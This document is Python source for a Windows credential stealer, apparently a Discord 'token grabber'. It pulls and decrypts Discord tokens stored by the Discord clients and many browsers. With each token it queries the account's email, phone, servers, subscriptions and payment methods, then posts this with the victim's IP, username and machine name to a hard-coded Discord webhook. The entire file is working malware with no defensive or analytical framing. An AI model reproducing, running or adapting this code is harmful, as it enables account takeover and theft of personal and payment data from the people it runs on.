import os if os.name != "nt": exit() import subprocess import sys import json import urllib.request import re import base64 import datetime def install_import(modules): for module, pip_name in modules: try: __import__(module) except ImportError: subprocess.check_call([sys.executable, "-m", "pip", "install", pip_name], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) os.execl(sys.executable, sys.executable, *sys.argv) install_import([("win32crypt", "pypiwin32"), ("Crypto.Cipher", "pycryptodome")]) import win32crypt from Crypto.Cipher import AES LOCAL = os.getenv("LOCALAPPDATA") ROAMING = os.getenv("APPDATA") PATHS = { 'Discord': ROAMING + '\\discord', 'Discord Canary': ROAMING + '\\discordcanary', 'Lightcord': ROAMING + '\\Lightcord', 'Discord PTB': ROAMING + '\\discordptb', 'Opera': ROAMING + '\\Opera Software\\Opera Stable', 'Opera GX': ROAMING + '\\Opera Software\\Opera GX Stable', 'Amigo': LOCAL + '\\Amigo\\User Data', 'Torch': LOCAL + '\\Torch\\User Data', 'Kometa': LOCAL + '\\Kometa\\User Data', 'Orbitum': LOCAL + '\\Orbitum\\User Data', 'CentBrowser': LOCAL + '\\CentBrowser\\User Data', '7Star': LOCAL + '\\7Star\\7Star\\User Data', 'Sputnik': LOCAL + '\\Sputnik\\Sputnik\\User Data', 'Vivaldi': LOCAL + '\\Vivaldi\\User Data\\Default', 'Chrome SxS': LOCAL + '\\Google\\Chrome SxS\\User Data', 'Chrome': LOCAL + "\\Google\\Chrome\\User Data" + 'Default', 'Epic Privacy Browser': LOCAL + '\\Epic Privacy Browser\\User Data', 'Microsoft Edge': LOCAL + '\\Microsoft\\Edge\\User Data\\Defaul', 'Uran': LOCAL + '\\uCozMedia\\Uran\\User Data\\Default', 'Yandex': LOCAL + '\\Yandex\\YandexBrowser\\User Data\\Default', 'Brave': LOCAL + '\\BraveSoftware\\Brave-Browser\\User Data\\Default', 'Iridium': LOCAL + '\\Iridium\\User Data\\Default' } def getheaders(token=None): headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36" } if token: headers.update({"Authorization": token}) return headers def gettokens(path): path += "\\Local Storage\\leveldb\\" tokens = [] if not os.path.exists(path): return tokens for file in os.listdir(path): if not file.endswith(".ldb") and file.endswith(".log"): continue try: with open(f"{path}{file}", "r", errors="ignore") as f: for line in (x.strip() for x in f.readlines()): for values in re.findall(r"dQw4w9WgXcQ:[^.*\['(.*)'\].*$][^\"]*", line): tokens.append(values) except PermissionError: continue return tokens def getkey(path): with open(path + f"\\Local State", "r") as file: key = json.loads(file.read())['os_crypt']['encrypted_key'] file.close() return key def getip(): try: with urllib.request.urlopen("https://api.ipify.org?format=json") as response: return json.loads(response.read().decode()).get("ip") except: return "None" def main(): checked = [] for platform, path in PATHS.items(): if not os.path.exists(path): continue for token in gettokens(path): token = token.replace("\\", "") if token.endswith("\\") else token try: token = AES.new(win32crypt.CryptUnprotectData(base64.b64decode(getkey(path))[5:], None, None, None, 0)[1], AES.MODE_GCM, base64.b64decode(token.split('dQw4w9WgXcQ:')[1])[3:15]).decrypt(base64.b64decode(token.split('dQw4w9WgXcQ:')[1])[15:])[:-16].decode() if token in checked: continue checked.append(token) res = urllib.request.urlopen(urllib.request.Request('https://discord.com/api/v10/users/@me', headers=getheaders(token))) if res.getcode() != 200: continue res_json = json.loads(res.read().decode()) badges = "" flags = res_json['flags'] if flags == 64 or flags == 96: badges += ":BadgeBravery: " if flags == 128 or flags == 160: badges += ":BadgeBrilliance: " if flags == 256 or flags == 288: badges += ":BadgeBalance: " params = urllib.parse.urlencode({"with_counts": True}) res = json.loads(urllib.request.urlopen(urllib.request.Request(f'https://discordapp.com/api/v6/users/@me/guilds?{params}', headers=getheaders(token))).read().decode()) guilds = len(res) guild_infos = "" for guild in res: if guild['permissions'] & 8 or guild['permissions'] & 32: res = json.loads(urllib.request.urlopen(urllib.request.Request(f'https://discordapp.com/api/v6/guilds/{guild["id"]}', headers=getheaders(token))).read().decode()) vanity = "" if res["vanity_url_code"] != None: vanity = f"""; .gg/{res["vanity_url_code"]}""" guild_infos += f"""\nㅤ- [{guild['name']}]: {guild['approximate_member_count']}{vanity}""" if guild_infos == "": guild_infos = "No guilds" res = json.loads(urllib.request.urlopen(urllib.request.Request('https://discordapp.com/api/v6/users/@me/billing/subscriptions', headers=getheaders(token))).read().decode()) has_nitro = False has_nitro = bool(len(res) > 0) exp_date = None if has_nitro: badges += f":BadgeSubscriber: " exp_date = datetime.datetime.strptime(res[0]["current_period_end"], "%Y-%m-%dT%H:%M:%S.%f%z").strftime('%d/%m/%Y at %H:%M:%S') res = json.loads(urllib.request.urlopen(urllib.request.Request('https://discord.com/api/v9/users/@me/guilds/premium/subscription-slots', headers=getheaders(token))).read().decode()) available = 0 print_boost = "" boost = False for id in res: cooldown = datetime.datetime.strptime(id["cooldown_ends_at"], "%Y-%m-%dT%H:%M:%S.%f%z") if cooldown - datetime.datetime.now(datetime.timezone.utc) < datetime.timedelta(seconds=0): print_boost += f"ㅤ- Available now\n" available += 1 else: print_boost += f"ㅤ- Available on {cooldown.strftime('%d/%m/%Y at %H:%M:%S')}\n" boost = True if boost: badges += f":BadgeBoost: " payment_methods = 0 type = "" valid = 0 for x in json.loads(urllib.request.urlopen(urllib.request.Request('https://discordapp.com/api/v6/users/@me/billing/payment-sources', headers=getheaders(token))).read().decode()): if x['type'] == 1: type += "CreditCard " if not x['invalid']: valid += 1 payment_methods += 1 elif x['type'] == 2: type += "PayPal " if not x['invalid']: valid += 1 payment_methods += 1 print_nitro = f"\nNitro Informations:\n```yaml\nHas Nitro: {has_nitro}\nExpiration Date: {exp_date}\nBoosts Available: {available}\n{print_boost if boost else ''}\n```" nnbutb = f"\nNitro Informations:\n```yaml\nBoosts Available: {available}\n{print_boost if boost else ''}\n```" print_pm = f"\nPayment Methods:\n```yaml\nAmount: {payment_methods}\nValid Methods: {valid} method(s)\nType: {type}\n```" embed_user = { 'embeds': [ { 'title': f"**New user data: {res_json['username']}**", 'description': f""" ```yaml\nUser ID: {res_json['id']}\nEmail: {res_json['email']}\nPhone Number: {res_json['phone']}\n\nGuilds: {guilds}\nAdmin Permissions: {guild_infos}\n``` ```yaml\nMFA Enabled: {res_json['mfa_enabled']}\nFlags: {flags}\nLocale: {res_json['locale']}\nVerified: {res_json['verified']}\n```{print_nitro if has_nitro else nnbutb if available > 0 else ""}{print_pm if payment_methods > 0 else ""}```yaml\nIP: {getip()}\nUsername: {os.getenv("UserName")}\nPC Name: {os.getenv("COMPUTERNAME")}\nToken Location: {platform}\n```Token: \n```yaml\n{token}```""", 'color': 3092790, 'footer': { 'text': "Made by Astraa ・ https://github.com/astraadev" }, 'thumbnail': { 'url': f"https://cdn.discordapp.com/avatars/{res_json['id']}/{res_json['avatar']}.png" } } ], "username": "Grabber", "avatar_url": "https://avatars.githubusercontent.com/u/43183806?v=4" } urllib.request.urlopen(urllib.request.Request('https://discordapp.com/api/webhooks/1469351399073775836/LA8meQPD8eue3bh3xScfnlPNLxYEo1IZ_fg5vbj-TDmXBKI--Vvsm3lEAsUG0BB8pH71', data=json.dumps(embed_user).encode('utf-8'), headers=getheaders(), method='POST')).read().decode() except urllib.error.HTTPError or json.JSONDecodeError: continue except Exception as e: print(f"ERROR: {e}") continue if __name__ == "__main__": main()